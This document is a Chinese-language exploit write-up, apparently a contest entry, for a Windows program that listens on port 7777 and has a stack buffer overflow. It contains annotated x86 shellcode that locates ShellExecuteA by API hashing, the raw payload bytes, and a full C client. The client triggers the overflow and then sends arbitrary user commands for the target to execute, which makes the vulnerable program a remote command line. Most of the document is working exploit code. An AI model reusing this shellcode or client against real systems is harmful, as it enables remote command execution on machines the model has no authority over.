一、PE文件分析:
单步跟踪可以发现,这个程序执行后分开启并侦听7777端口,当有数据从7777端口发过来时将接收到的数据显示到屏幕上。
二、漏洞分析:
1.程序在接收数据时建立的缓冲区大小为0x200,但是没有检查接收数据的大小。
2.在显示数据时仅建立了0xC8大小的缓冲区,当数据超过0xC8字节时就会发生缓冲区溢出漏洞。
我利用的是第二个漏洞,以确保程序可以继续正常运行~~
三、构建溢出shellcode:
第一步:观察shellcode的注意事项。
程序执行完显示数据的CALL后,会先用到ESI,ESI中存放的是接收到数据的长度,程序在00401258处用test esi, esi命令测试接收到的数据是否为空。在shellcode里只要保证ESI不为0就不影响程序的正常执行。
然后在循环接收数据时会一直会到EBX中存放的socket属性,在shellcode执行完毕后必须保证EBX的值不变。
第二步:更改程序流程。
当数据大小超过0xC8字节时,0xC8处的dword会覆盖掉程序的返回地址。实时跟踪时发现程序在调用显示数据的CALL时会先把接收到的数据的首地址放入堆栈中。因此我们可以在0xC8处放入一个返回命令,使程序返回到接收数据的首地址继续执行。这里我选用了004010A4处的RETN命令。
第三步:首次溢出:获取API地址。
先来一次溢出,获取ShellExecuteA的地址并保存。
具体shellcode代码如下:
二进制数据为:代码:0012FBF4 99 cdq ; edx清0 0012FBF5 66:BA BF40 mov dx, 40BF ; 保存获取到的API地址的空间 0012FBF9 C1E2 08 shl edx, 8 0012FBFC B2 F8 mov dl, 0F8 ; 40BFF8,data段的最后位置 0012FBFE 8BFA mov edi, edx 0012FC00 FC cld 0012FC01 68 58CB3B21 push 213BCB58 ; HASH("ShellExeCuteA") 0012FC06 68 3274910C push 0C917432 ; HASH("LoadLibraryA") 0012FC0B 8BF4 mov esi, esp 0012FC0D 99 cdq 0012FC0E 64:8B4A 30 mov ecx, dword ptr fs:[edx+30] ; 定位TEB 0012FC12 8B49 0C mov ecx, dword ptr [ecx+C] 0012FC15 8B49 1C mov ecx, dword ptr [ecx+1C] 0012FC18 8B09 mov ecx, dword ptr [ecx] 0012FC1A 8B69 08 mov ebp, dword ptr [ecx+8] ; 找到kernel32.dll 0012FC1D B6 02 mov dh, 2 ; esp-200,建立缓冲空间 0012FC1F 2BE2 sub esp, edx ; 其实用不着这么大 0012FC21 66:BA 3332 mov dx, 3233 ; "32" 0012FC25 C1E2 08 shl edx, 8 0012FC28 B2 6C mov dl, 6C ; "l32" 0012FC2A 52 push edx 0012FC2B 68 7368656C push 6C656873 ; "shel" 0012FC30 54 push esp ; 合成"shell32" 0012FC31 AD lods dword ptr [esi] ; 取API的HASH 0012FC32 3C 58 cmp al, 58 ; 只比较一个字节,省出了3个字节~~ 0012FC34 75 05 jnz short 0012FC3B ; 是否已经得到了LoadLibrarA的地址? 0012FC36 95 xchg eax, ebp ; 取出"shell32" 0012FC37 FF57 FC call dword ptr [edi-4] ; LoadLibraryA("shell32") 0012FC3A 95 xchg eax, ebp 0012FC3B 60 pushad ; 保存寄存器状态 0012FC3C 8B45 3C mov eax, dword ptr [ebp+3C] ; 查找API地址表 0012FC3F 8B4C05 78 mov ecx, dword ptr [ebp+eax+78] 0012FC43 03CD add ecx, ebp 0012FC45 8B59 20 mov ebx, dword ptr [ecx+20] 0012FC48 03DD add ebx, ebp 0012FC4A 33FF xor edi, edi 0012FC4C 47 inc edi 0012FC4D 8B34BB mov esi, dword ptr [ebx+edi*4] 0012FC50 03F5 add esi, ebp ; 分别取每个API名称 0012FC52 99 cdq 0012FC53 0FBE06 movsx eax, byte ptr [esi] ; HASH(API名) 0012FC56 3AC4 cmp al, ah 0012FC58 74 08 je short 0012FC62 0012FC5A C1CA 07 ror edx, 7 0012FC5D 03D0 add edx, eax 0012FC5F 46 inc esi 0012FC60 ^ EB F1 jmp short 0012FC53 0012FC62 3B5424 1C cmp edx, dword ptr [esp+1C] ; HASH值是否相同? 0012FC66 ^ 75 E4 jnz short 0012FC4C ; 继续查找下一个API 0012FC68 8B59 24 mov ebx, dword ptr [ecx+24] ; 找到正确的API名后: 0012FC6B 03DD add ebx, ebp 0012FC6D 66:8B3C7B mov di, word ptr [ebx+edi*2] 0012FC71 8B59 1C mov ebx, dword ptr [ecx+1C] 0012FC74 03DD add ebx, ebp 0012FC76 032CBB add ebp, dword ptr [ebx+edi*4] ; 取出API地址 0012FC79 95 xchg eax, ebp 0012FC7A 5F pop edi 0012FC7B AB stos dword ptr es:[edi] ; 保存到EDI=40BFF8中去 0012FC7C 57 push edi 0012FC7D 61 popad ; 还原寄存器状态 0012FC7E 3C 58 cmp al, 58 ; 查找HASH完毕?又省了3字节~~~ 0012FC80 ^ 75 AF jnz short 0012FC31 ; 查找下一个HASH 0012FC82 99 cdq 0012FC83 66:BA 0C02 mov dx, 20C ; 平衡堆栈 0012FC87 03E2 add esp, edx 0012FC89 66:BA 1240 mov dx, 4012 0012FC8D C1E2 08 shl edx, 8 0012FC90 B2 55 mov dl, 55 ; 401255:程序返回地址 0012FC92 52 push edx 0012FC93 C3 retn ; 返回程序继续执行
第四步:再次溢出:打造终极命令行!代码:99 66 BA BF 40 C1 E2 08 B2 F8 8B FA FC 68 58 CB 3B 21 68 32 74 91 0C 8B F4 99 64 8B 4A 30 8B 49 0C 8B 49 1C 8B 09 8B 69 08 B6 02 2B E2 66 BA 33 32 C1 E2 08 B2 6C 52 68 73 68 65 6C 54 AD 3C 58 75 05 95 FF 57 FC 95 60 8B 45 3C 8B 4C 05 78 03 CD 8B 59 20 03 DD 33 FF 47 8B 34 BB 03 F5 99 0F BE 06 3A C4 74 08 C1 CA 07 03 D0 46 EB F1 3B 54 24 1C 75 E4 8B 59 24 03 DD 66 8B 3C 7B 8B 59 1C 03 DD 03 2C BB 95 5F AB 57 61 3C 58 75 AF 99 66 BA 0C 02 03 E2 66 BA 12 40 C1 E2 08 B2 55 52 C3 CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC A4 10 40
前面已经获取了需要的API地址,下面将这个程序打造成我们自己的CommandLine!
二进制数据为:代码:0012FBF4 99 cdq ; edx清0 0012FBF5 8B4C24 FC mov ecx, dword ptr [esp-4] ; shellcode首地址 0012FBF9 50 push eax ; 堆栈平衡 0012FBFA 66:BA 1240 mov dx, 4012 0012FBFE C1E2 08 shl edx, 8 0012FC01 B2 55 mov dl, 55 ; 401255:程序返回地址 0012FC03 52 push edx ; 保存返回地址 0012FC04 66:BA FCBF mov dx, 0BFFC ; 40BFFC,ShellExecuteA函数的地址 0012FC08 60 pushad ; 保存现场 0012FC09 33DB xor ebx, ebx ; 清0 0012FC0B 8D41 47 lea eax, dword ptr [ecx+47] ; 用户输入命令的结束位置 0012FC0E 8818 mov byte ptr [eax], bl ; 写入0,使字符串结束 0012FC10 8D41 43 lea eax, dword ptr [ecx+43] ; 参数首地址前一位 0012FC13 8818 mov byte ptr [eax], bl ; 写入0,使字符串结束 0012FC15 8D41 3F lea eax, dword ptr [ecx+3F] ; "open"字符结束的位置 0012FC18 8818 mov byte ptr [eax], bl ; 写入0,使字符串结束 0012FC1A 8D41 40 lea eax, dword ptr [ecx+40] ; 用户输入命令的首地址 0012FC1D 8D71 44 lea esi, dword ptr [ecx+44] ; 参数首地址 0012FC20 8D79 3B lea edi, dword ptr [ecx+3B] ; "open"字符首地址 0012FC23 43 inc ebx 0012FC24 53 push ebx ; NShowCmd=1 0012FC25 4B dec ebx 0012FC26 53 push ebx ; LpDirectory=0 0012FC27 56 push esi ; LpParameters=用户命令参数 0012FC28 50 push eax ; LpFile=用户命令 0012FC29 57 push edi ; LpOperation="open" 0012FC2A 53 push ebx ; hWnd=0 0012FC2B FF12 call dword ptr [edx] ; Call ShellExecuteA 0012FC2D 61 popad ; 恢复现场 0012FC2E C3 retn ; 返回程序继续执行
第五步:编写控制程序。代码:99 8B 4C 24 FC 50 66 BA 12 40 C1 E2 08 B2 55 52 66 BA FC BF 60 33 DB 8D 41 47 88 18 8D 41 43 88 18 8D 41 3F 88 18 8D 41 40 8D 71 44 8D 79 3B 43 53 4B 53 56 50 57 53 FF 12 61 C3 6F 70 65 6E CC 63 6D 64 20 64 69 72 CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC A4 10 40
C代码如下:
(一直没用C,其中网络连接的代码都是从网上COPY的,最后一小段代码可把我累坏了!)
四、稳定性与通用性论证代码://///////////////////////////////////////////////////////////// // my.cpp : Defines the entry point for the console application. // #include "stdafx.h" #include "stdio.h" #include "string.h" #include <iostream.h> #include <winsock.h> int main(int argc, char* argv[]) { WSADATA ws; SOCKET s; char someBuf[]="\x99\x66\xBA\xBF\x40\xC1\xE2\x08\xB2\xF8\x8B\xFA\xFC\x68\x58\xCB" "\x3B\x21\x68\x32\x74\x91\x0C\x8B\xF4\x99\x64\x8B\x4A\x30\x8B\x49" "\x0C\x8B\x49\x1C\x8B\x09\x8B\x69\x08\xB6\x02\x2B\xE2\x66\xBA\x33" "\x32\xC1\xE2\x08\xB2\x6C\x52\x68\x73\x68\x65\x6C\x54\xAD\x3C\x58" "\x75\x05\x95\xFF\x57\xFC\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03" "\xCD\x8B\x59\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F" "\xBE\x06\x3A\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54" "\x24\x1C\x75\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C" "\x03\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3C\x58\x75\xAF\x99\x66" "\xBA\x0C\x02\x03\xE2\x66\xBA\x12\x40\xC1\xE2\x08\xB2\x55\x52\xC3" "\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC" "\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC" "\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xA4\x10\x40"; char shellBuf[]="\x99\x8B\x4C\x24\xFC\x50\x66\xBA\x12\x40\xC1\xE2\x08\xB2\x55\x52" "\x66\xBA\xFC\xBF\x60\x33\xDB\x8D\x41\x47\x88\x18\x8D\x41\x43\x88" "\x18\x8D\x41\x3F\x88\x18\x8D\x41\x40\x8D\x71\x44\x8D\x79\x3B\x43" "\x53\x4B\x53\x56\x50\x57\x53\xFF\x12\x61\xC3\x6F\x70\x65\x6E\xCC" "\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC" "\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC" "\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC" "\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC" "\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC" "\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC" "\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC" "\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC" "\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xA4\x10\x40"; char tempBuf[0x80]; struct sockaddr_in addr; int iResult=0; long lResult=0; int goout=0; lResult = WSAStartup(0x0101,&ws); if(lResult!=0) { printf("初始化失败!!!"); exit(0); } s = socket(AF_INET,SOCK_STREAM,0); addr.sin_family = AF_INET; addr.sin_port = htons(7777); addr.sin_addr.s_addr = inet_addr("127.0.0.1"); printf("正在连接......\n"); iResult=connect(s,(struct sockaddr *)&addr, sizeof(addr)); if(SOCKET_ERROR == iResult) { WSACleanup(); // 连接失败 return FALSE; } printf("连接成功!!!");// 连接成功 iResult = send(s,someBuf,sizeof(someBuf),0); printf("\n 溢出完成!!"); while(goout==0) { printf("\n\n请输入命令,'q'退出: \n"); gets(tempBuf); printf(tempBuf); if (tempBuf[0]=='q' && tempBuf[1]==0) { goout=1; } if (goout==0) { int i=0; int spacePos=0; while(tempBuf[i]!=0) { shellBuf[i+0x40]=tempBuf[i]; //将用户命令copy到shellcode if (tempBuf[i]==0x20) //当有空格时: { if (spacePos==0) //是第一个空格吗? { spacePos=0x40+i;//记录第一个空格的位置 }; } i++; if (i>=0x80) break; } shellBuf[0x19]=i+0x40; //将命令长度写入shellcode,让代码自己结束字符串 if(spacePos==0) //当没有参数时: { shellBuf[0x1E]=0x3F; //置空位置修改代码 shellBuf[0x29]=0x33; //把参数地址置0 shellBuf[0x2A]=0xF6; shellBuf[0x2B]=0x90; } else //当有参数时: { shellBuf[0x1E]=spacePos; //参数前字节置0 shellBuf[0x2B]=spacePos+1; //保存参数首地址 shellBuf[0x29]=0x8D; shellBuf[0x2A]=0x71; }; iResult = send(s,shellBuf,sizeof(shellBuf),0); printf("执行完成!!\n"); } } WSACleanup(); return 0; } /////////////////////////////////////////////////////
没有用到绝对地址,通用性应该是可以的,单机测试正常,不街道稳定性怎么样。。。
五、创新性论证
个人感觉应该与别人的不一样的,第一个shellcode参考了failwest先生的大作(用SHL来赋值应该是我自己的一点点小创新吧),第二个小shellcode用mov byte ptr [eax], bl来写0结束字符串的方法也应该不会与别人雷同,把程序打造成CommandLine以执行任意命令费了我好大劲~~~~![]()
PS:由于种种外因+内因,没能参加比赛,甚憾!